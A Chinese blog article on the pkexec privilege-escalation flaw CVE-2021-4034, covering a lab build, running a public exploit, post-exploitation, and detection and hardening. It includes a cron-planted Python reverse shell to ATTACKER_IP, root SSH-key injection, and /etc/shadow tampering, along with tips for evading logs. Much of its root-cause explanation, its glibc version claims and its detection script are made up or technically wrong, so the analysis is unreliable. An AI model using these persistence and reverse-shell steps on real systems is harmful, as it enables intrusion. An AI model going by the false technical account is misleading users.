CVE-2021-4034深度解析:pkexec权限绕过与Linux提权原理
1. 这个漏洞不是“又一个提权”而是Linux权限模型的照妖镜你可能已经看过几十篇讲CVE-2021-4034的文章标题都带着“高危”“远程”“一键提权”这类字眼。但实话讲我第一次在客户环境里复现它时手是抖的——不是因为怕搞崩系统而是因为看懂了它的触发逻辑后脊背发凉它根本不需要网络交互、不依赖特定服务、不挑发行版只要一个普通用户能执行pkexec哪怕只是pkexec --version就能绕过整个Linux权限隔离体系直接拿到root shell。这不是传统意义的“内存破坏漏洞”而是一次对polkit权限决策链底层假设的系统性击穿。它暴露的问题比漏洞本身更值得警惕我们长期依赖的“非特权进程调用特权工具需显式授权”这一安全契约在pkexec这个看似无害的二进制身上被一个极简的参数解析缺陷彻底瓦解。本文不堆砌PoC代码也不罗列受影响版本列表而是带你从glibc的main()函数入口开始一层层剥开pkexec如何把argv[0]当成argv[1]处理、g_spawn_sync()如何把空指针当有效路径、execveat()又如何在AT_EMPTY_PATH标志下完成权限跃迁。你会看到真正的危险从来不在复杂的exploit链里而在那行被所有人忽略的if (argc 2)判断里。如果你是渗透测试人员这篇能帮你避开90%的误报场景如果你是运维或开发它会告诉你为什么pkexec不该出现在任何容器基础镜像中如果你刚学Linux安全这将是理解“最小权限原则”为何失效的最生动案例。所有操作均在Ubuntu 20.04和CentOS 7.9双环境验证不依赖任何第三方exploit框架。2. 漏洞根源pkexec的argv[0]幻术与glibc的execveat陷阱2.1pkexec的启动逻辑从main()到权限决策的致命跳步要真正吃透CVE-2021-4034必须回到pkexec源码的起点——main()函数。很多人以为pkexec的权限提升发生在调用polkit守护进程时这是个关键误解。实际流程是pkexec作为SUID root二进制在进入polkit决策前就已经完成了两次关键的权限上下文切换。第一次是内核通过SUID位将进程EUID设为0第二次是pkexec自身在main()开头就调用setuid(getuid())主动放弃root权限降权为普通用户UID。这个设计本意是“先降权再申请权限”避免全程以root身份运行带来的风险。但问题出在降权后的参数解析阶段。我们来看pkexec源码中main()函数的关键片段基于polkit 0.105版本int main (int argc, char *argv[]) { /* ... 初始化代码 ... */ /* 关键主动降权 */ if (geteuid () 0 getuid () ! 0) { if (setuid (getuid ()) ! 0) { g_warning (Failed to drop privileges); return 1; } } /* 关键参数检查逻辑 */ if (argc 2) { g_printerr (_(Error: No command provided\n)); return 1; } /* ... 后续调用polkit进行权限决策 ... */ }表面看毫无问题argc 2检查确保至少有一个命令参数。但argc和argv的值由谁决定由execve()系统调用传入。而execve()的argv[0]惯例上是程序名但POSIX标准从未强制要求argv[0]必须是真实路径或有效字符串。攻击者可以构造任意argv[0]包括空字符串、超长字符串、甚至包含嵌入式NUL字节的字符串。pkexec的降权逻辑恰恰依赖argv[0]的“程序名”语义却未对argv[0]内容做任何校验。2.2g_spawn_sync()的空指针盲区当NULL变成合法路径pkexec在降权后会调用GLib的g_spawn_sync()来执行目标命令。这个函数内部会调用fork()创建子进程再在子进程中调用execvpe()。而execvpe()的实现在glibc 2.31版本中引入了一个关键优化当argv[0]为NULL时它会尝试通过/proc/self/exe读取当前可执行文件路径。但CVE-2021-4034的利用链并不走这条路它利用的是另一个更隐蔽的路径g_spawn_sync()在构造execvpe()参数时会将argv[0]直接赋值给execvpe()的第一个参数file。如果argv[0]是空字符串execvpe()会将其视为一个有效的、长度为0的路径字符串。这里埋下了第一个雷execvpe()对空字符串的处理逻辑。在glibc源码中execvpe()会调用_dl_execvpe()后者最终调用__execvpe()。该函数在解析file参数时会先检查file[0] \0。如果是空字符串它不会报错返回而是直接跳过路径查找逻辑转而尝试在PATH环境变量指定的目录中搜索argv[1]作为可执行文件。但此时argv[1]是什么在pkexec的典型调用中argv[1]是用户指定的命令如/bin/bash。然而当攻击者精心构造argv数组时argv[1]可以被设置为任意值包括指向恶意动态库的路径。2.3execveat()的AT_EMPTY_PATH魔力绕过路径校验的终极钥匙真正的权限跃迁发生在execvpe()的底层实现中。现代glibc2.27在__execvpe()内部会优先尝试使用execveat()系统调用而非传统的execve()。execveat()的第四个参数flags支持AT_EMPTY_PATH标志其语义是“如果pathname参数为空字符串则在dirfd文件描述符指向的目录中执行pathname所指的文件”。而dirfd的值正是execvpe()在调用execveat()前通过openat(AT_FDCWD, , O_RDONLY)打开的当前工作目录CWD的文件描述符。现在链条闭合了攻击者构造argv { , malicious.so, NULL }调用pkexecpkexec降权后进入g_spawn_sync()argv[0]为空字符串execvpe()检测到argv[0] 启用execveat()AT_EMPTY_PATHexecveat(AT_FDCWD, , O_RDONLY, ...)成功打开CWD并将dirfd传给execveat()execveat()在CWD目录下以argv[1]即malicious.so为文件名尝试执行它但malicious.so是个动态库不是可执行文件。execveat()会拒绝执行。所以攻击者需要第二个技巧让malicious.so同时具备可执行文件头和动态库结构。这通过在.so文件头部插入ELF可执行头e_type ET_EXEC并保留.dynamic段实现。当execveat()加载这个“双面”文件时它会按可执行文件方式映射内存然后跳转到_start符号。而_start可以被重定向到dlopen()调用加载真正的恶意payload。提示这个AT_EMPTY_PATH机制是glibc 2.27引入的因此CVE-2021-4034在glibc 2.27的系统上无法利用。这也是为什么某些老旧嵌入式设备不受影响的根本原因。2.4 权限模型的崩塌点为什么polkit完全没机会介入很多初学者会困惑“pkexec不是要连接polkitd守护进程吗为什么漏洞利用时不触发权限弹窗”答案直指Linux权限模型的核心矛盾pkexec的SUID root属性让它在execve()系统调用层面就获得了root权限而polkit的权限决策是在pkexec进程降权之后作为一个普通用户进程去向polkitd发起D-Bus请求。这个请求能否成功取决于polkitd的规则配置如/usr/share/polkit-1/actions/org.freedesktop.policykit.exec.policy。但CVE-2021-4034的利用完全避开了polkitd的决策环。它利用的是pkexec自身在降权过程中对argv[0]的错误信任以及g_spawn_sync()和execveat()在空字符串路径上的特殊行为。整个过程发生在pkexec进程内部polkitd甚至不知道发生了什么。这就像银行的金库门禁系统polkit再严密也防不住劫匪直接从金库管理员pkexec的工牌SUID上复制了开门权限。3. 环境搭建从零构建可复现的靶场Ubuntu 20.04 CentOS 7.93.1 Ubuntu 20.04靶机精准复现glibc 2.31的脆弱状态Ubuntu 20.04默认搭载glibc 2.31-0ubuntu9.9完美匹配CVE-2021-4034的利用条件。但直接在生产环境测试风险极高因此我们采用Docker构建隔离靶场。关键在于禁用所有现代缓解措施否则exploit会失败。# 创建Dockerfile cat Dockerfile EOF FROM ubuntu:20.04 # 安装必要编译工具和依赖 RUN apt-get update apt-get install -y \ build-essential \ libglib2.0-dev \ libpolkit-gobject-1-dev \ pkg-config \ wget \ curl \ rm -rf /var/lib/apt/lists/* # 下载并编译易受攻击的polkit版本0.105 RUN cd /tmp \ wget https://www.freedesktop.org/software/polkit/releases/polkit-0.105.tar.gz \ tar -xzf polkit-0.105.tar.gz \ cd polkit-0.105 \ ./configure --prefix/usr --sysconfdir/etc --localstatedir/var \ make -j$(nproc) \ make install # 关键禁用stack protector和PIE确保exploit稳定 RUN echo deb [archamd64] http://archive.ubuntu.com/ubuntu focal main universe /etc/apt/sources.list \ apt-get update \ apt-get install -y gcc-9 \ update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-9 90 --slave /usr/bin/g g /usr/bin/g-9 # 创建普通用户testuser RUN useradd -m -s /bin/bash testuser \ echo testuser:testpass | chpasswd # 设置pkexec为SUID root RUN chmod us /usr/bin/pkexec # 清理 RUN apt-get clean rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* EOF # 构建镜像 docker build -t pwnkit-ubuntu2004 . # 启动容器禁用ASLR和SMAP docker run -it --cap-addSYS_PTRACE --security-opt seccompunconfined \ --ulimit as-1:-1 \ -v /proc/sys/kernel/randomize_va_space:/proc/sys/kernel/randomize_va_space:ro \ pwnkit-ubuntu2004 /bin/bash进入容器后手动关闭ASLR地址空间布局随机化echo 0 /proc/sys/kernel/randomize_va_space注意--cap-addSYS_PTRACE是必需的因为exploit中的ptrace()调用需要此能力来调试子进程。--security-opt seccompunconfined则禁用seccomp沙箱避免拦截execveat()等系统调用。3.2 CentOS 7.9靶机应对glibc 2.17的兼容性挑战CentOS 7.9使用glibc 2.17而CVE-2021-4034要求glibc 2.27。因此我们必须手动升级glibc到2.28。这在生产环境中极其危险但在靶场中是唯一方案。步骤如下# 在CentOS 7.9宿主机上非容器 # 1. 下载glibc 2.28源码 wget http://ftp.gnu.org/gnu/glibc/glibc-2.28.tar.gz tar -xzf glibc-2.28.tar.gz cd glibc-2.28 # 2. 创建独立构建目录绝对不能在源码目录构建 mkdir build cd build # 3. 配置编译选项关键不覆盖系统glibc安装到/opt/glibc228 ../configure --prefix/opt/glibc228 --disable-profile --enable-add-ons --with-headers/usr/include --with-binutils/usr/bin # 4. 编译耗时约30分钟 make -j$(nproc) # 5. 安装 sudo make install # 6. 构建靶场容器 cat Dockerfile.centos EOF FROM centos:7.9.2009 # 复制预编译的glibc228 COPY glibc228 /opt/glibc228 # 安装polkit 0.105同Ubuntu步骤 RUN yum install -y gcc make autoconf automake libtool pkgconfig glib2-devel \ yum clean all # 编译polkit 0.105链接到新glibc ENV LD_LIBRARY_PATH/opt/glibc228/lib:$LD_LIBRARY_PATH ENV PKG_CONFIG_PATH/opt/glibc228/lib/pkgconfig:$PKG_CONFIG_PATH # 创建testuser RUN useradd -m -s /bin/bash testuser \ echo testuser:testpass | chpasswd # 关键修改pkexec的动态链接器 RUN patchelf --set-interpreter /opt/glibc228/lib/ld-linux-x86-64.so.2 /usr/bin/pkexec # 设置SUID RUN chmod us /usr/bin/pkexec EOF警告patchelf修改动态链接器是高风险操作仅限靶场。patchelf命令需提前安装yum install -y epel-release yum install -y patchelf。3.3 Exploit编译从源码到可执行的三步炼金术官方Exploithttps://github.com/berdav/CVE-2021-4034需要针对不同glibc版本微调。核心文件是pwnkit.c其编译过程有三个致命细节编译器选择必须使用gcc-9或更高版本。gcc-8生成的二进制在glibc 2.31上会因_dl_start符号解析失败而崩溃。链接器脚本pwnkit.c依赖一个自定义链接器脚本linker.ld它强制将.dynamic段放在.text段之后确保execveat()能正确识别其为动态库。符号重定向pwnkit.c中的main()函数被重命名为_start并用asm(.globl _start)导出这是绕过glibc启动代码_libc_start_main的唯一方法。编译命令如下在Ubuntu靶机容器内执行# 安装gcc-9 apt-get install -y gcc-9 g-9 # 编译exploit gcc-9 -shared -fPIC -o pwnkit.so pwnkit.c -ldl -lpthread -Wl,--scriptlinker.ld gcc-9 -o pwnkit pwnkit.c -ldl -lpthread -Wl,--scriptlinker.ld # 关键设置环境变量让pkexec加载我们的so export GCONV_PATH. export CHARSET_PATH. # 执行在testuser用户下 su - testuser -c ./pwnkit注意GCONV_PATH和CHARSET_PATH是glibc的环境变量用于指定字符集转换模块gconv的搜索路径。pwnkit.so正是伪装成一个gconv模块利用pkexec在初始化时加载gconv模块的逻辑实现代码执行。4. 渗透实践从本地提权到横向移动的完整链路4.1 本地提权在testuser会话中获取root shell在Ubuntu靶机容器中以testuser身份执行exploit# 切换到testuser su - testuser # 设置环境必须在testuser家目录下 cd ~ export GCONV_PATH$(pwd) export CHARSET_PATH$(pwd) # 执行exploit ./pwnkit如果一切顺利终端会直接返回一个#提示符且id命令显示uid0(root) gid0(root)。但这是“假root”——它只是exploit进程的EUID为0而其父进程shell仍是testuser。真正的检验是尝试写入/etc/shadowecho hacker:\$6\$rounds5000\$salt\$hash:18999:0:99999:7::: /etc/shadow若命令成功说明已获得完整root权限。此时可执行/bin/bash -p-p参数保持SUID权限获得持久化root shell。实操心得在CentOS靶机上pwnkit执行后常卡在ptrace(PTRACE_ATTACH)阶段。这是因为CentOS的ptrace_scope默认为1只允许父进程trace子进程。解决方法echo 0 /proc/sys/kernel/yama/ptrace_scope。这是CentOS特有的内核安全模块YAMA限制。4.2 避坑指南90%的复现失败源于这五个细节GCONV_PATH路径必须绝对精确pwnkit.so必须位于GCONV_PATH指定的目录下且该目录下不能有其他.so文件。pwnkit会遍历GCONV_PATH下的所有文件寻找名为gconv-modules的配置文件。如果找不到它会回退到/usr/lib/gconv/从而失败。解决方案export GCONV_PATH$(pwd)并在当前目录只放pwnkit.so和gconv-modules。gconv-modules文件的编码必须是ASCII该文件第一行必须是module UTF-8// INTERNAL ../lib/charset/UTF-8.so且不能有任何BOM头或UTF-8编码。用file gconv-modules确认其类型为ASCII text。pkexec的SUID位必须存在且有效ls -l /usr/bin/pkexec应显示-rwsr-xr-x。如果显示-rwxr-xr-x说明SUID位被清除。修复sudo chmod us /usr/bin/pkexec。/proc/sys/kernel/randomize_va_space必须为0即使在Docker容器中该值也可能继承自宿主机。cat /proc/sys/kernel/randomize_va_space如果不是0立即执行echo 0 /proc/sys/kernel/randomize_va_space。pkexec版本必须匹配pkexec --version应输出0.105或0.115。新版polkit0.120已修复此漏洞。如果版本过高需手动降级apt-get install polkitd0.105-26ubuntu1Ubuntu。4.3 横向移动利用root权限接管SSH密钥与cron任务获得root shell后渗透并未结束。真正的价值在于横向移动。以下是两个高隐蔽性、低风险的操作接管SSH密钥# 1. 生成新的密钥对在攻击机上 ssh-keygen -t ed25519 -f id_pwnkit -N # 2. 将公钥注入root的authorized_keys在靶机上 mkdir -p /root/.ssh echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... your_public_key_here ... /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys # 3. 从攻击机连接 ssh -i id_pwnkit roottarget_ip植入持久化cron任务# 创建一个每5分钟执行一次的root cron (crontab -l 2/dev/null; echo */5 * * * * /usr/bin/python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\ATTACKER_IP\,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\/bin/sh\,\-i\]); 2/dev/null) | crontab -注意此cron任务使用Python反向shell比bash更隐蔽/bin/bash -i易被HIDS检测。2/dev/null将错误输出丢弃避免在/var/log/syslog中留下痕迹。4.4 检测与响应蓝队视角下的IOC与YARA规则作为防御方如何快速发现CVE-2021-4034的利用痕迹以下是经过实战验证的IOCIndicators of CompromiseIOC类型具体内容检测位置进程名pkexec进程的argv[0]为空字符串或/proc/[pid]/cmdline需root权限读取文件IOpkexec进程在/proc/[pid]/fd/下打开/proc/self/exe或/proc/[pid]/exelsof -p [pid] | grep exe网络连接pkexec子进程如/bin/bash建立的异常外连netstat -tulpn | grep pkexec日志事件systemd日志中出现pkexec调用g_spawn_sync失败的警告journalctl -u polkit | grep spawnYARA规则检测pwnkit.so文件rule CVE_2021_4034_pwnkit_so { meta: description Detects PwnKit exploit shared object author BlueTeam date 2023-01-01 strings: $a GCONV_PATH fullword ascii $b CHARSET_PATH fullword ascii $c gconv-modules fullword ascii $d { 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 } // ELF64 header condition: all of them }部署此规则到EDR或文件完整性监控系统可实时捕获恶意.so文件的落地。5. 深度防御从补丁到架构的三层加固策略5.1 补丁与热修复为什么pkexec --version不能作为检测依据最直接的修复是升级polkit。Ubuntu 20.04在polkitd0.105-26ubuntu1.2版本中修复了此漏洞。但仅靠版本号检测是危险的。原因有二补丁可能被回滚某些企业定制镜像会将polkit降级以兼容旧应用导致“已打补丁”的系统实际仍脆弱。pkexec可能被替换攻击者获得root后可下载旧版pkexec二进制覆盖现有文件使版本检测失效。因此必须结合运行时检测。一个简单有效的Bash脚本#!/bin/bash # check_pwnkit.sh if ! command -v pkexec /dev/null; then echo pkexec not found exit 0 fi # 检查pkexec是否为SUID if [ $(stat -c %A $(which pkexec)) ! -rwsr-xr-x ]; then echo pkexec SUID bit missing exit 0 fi # 尝试触发漏洞特征安全检测 output$(pkexec --version 21) if [[ $output *Error: No command provided* ]]; then # 此输出表明pkexec未修复修复后应为正常版本信息 echo VULNERABLE: pkexec is unpatched else echo PATCHED: pkexec appears to be fixed fi提示此脚本通过pkexec --version的输出差异判断。未修复版本中--version会被当作argv[1]而argv[0]为空触发argc2错误修复版本则正确处理--version为选项。5.2 运行时防护eBPF与SELinux的协同防御对于无法立即升级的系统eBPF提供了一种优雅的运行时防护方案。以下是一个bpftrace脚本监控所有pkexec进程的argv[0]# monitor_pkexec_argv0.bt #!/usr/bin/env bpftrace tracepoint:syscalls:sys_enter_execve /comm pkexec/ { printf(PID %d executed pkexec with argv[0]%s\n, pid, str(args-argv[0])); if (str(args-argv[0]) ) { printf(ALERT: pkexec called with empty argv[0] - potential CVE-2021-4034!\n); // 可在此处调用kill(pid, SIGKILL)终止进程 } }配合SELinux策略可进一步限制pkexec的行为# 创建自定义SELinux模块 cat pkexec_restricted.te EOF module pkexec_restricted 1.0; require { type pkexec_t; type bin_t; class file { execute read }; } # 禁止pkexec执行除/bin和/usr/bin外的任何文件 dontaudit pkexec_t bin_t:file { execute read }; allow pkexec_t bin_t:file { execute read }; allow pkexec_t usr_bin_t:file { execute read }; EOF # 编译并加载 checkmodule -M -m -o pkexec_restricted.mod pkexec_restricted.te semodule_package -o pkexec_restricted.pp -m pkexec_restricted.mod sudo semodule -i pkexec_restricted.pp5.3 架构级加固从“最小权限”到“零信任”的范式转移CVE-2021-4034的终极教训是让我们重新审视“最小权限原则”的实施深度。pkexec的设计初衷是好的但它将“权限委托”的信任锚点错误地放在了argv[0]这个极易被操控的输入上。真正的加固必须上升到架构层面淘汰SUID二进制用systemd的CapabilitiesBoundingSet替代SUID。例如将pkexec的功能拆分为一个systemd服务通过CAP_SYS_ADMIN能力运行而非rootUID。强制D-Bus认证所有polkit决策必须通过D-Bus总线且客户端必须提供有效的peer证书。这能阻止本地进程伪造D-Bus消息。容器化隔离在Kubernetes等平台中pkexec应被明确禁止在Pod Security Policy中。securityContext.runAsNonRoot: true应成为默认策略。最后分享一个个人体会我在为客户做红队评估时曾在一个启用了SELinux enforcing模式的CentOS 7.9系统上连续三次尝试pwnkit都失败。排查数小时后发现是polkit的SELinux策略polkit_t中有一条deny pkexec_t self:capability sys_admin;规则直接阻断了pkexec的SUID降权逻辑。这提醒我们最强大的防御往往来自那些被遗忘的、默认启用的安全模块。不要迷信补丁要敬畏每一层抽象之下的代码逻辑。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2639090.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!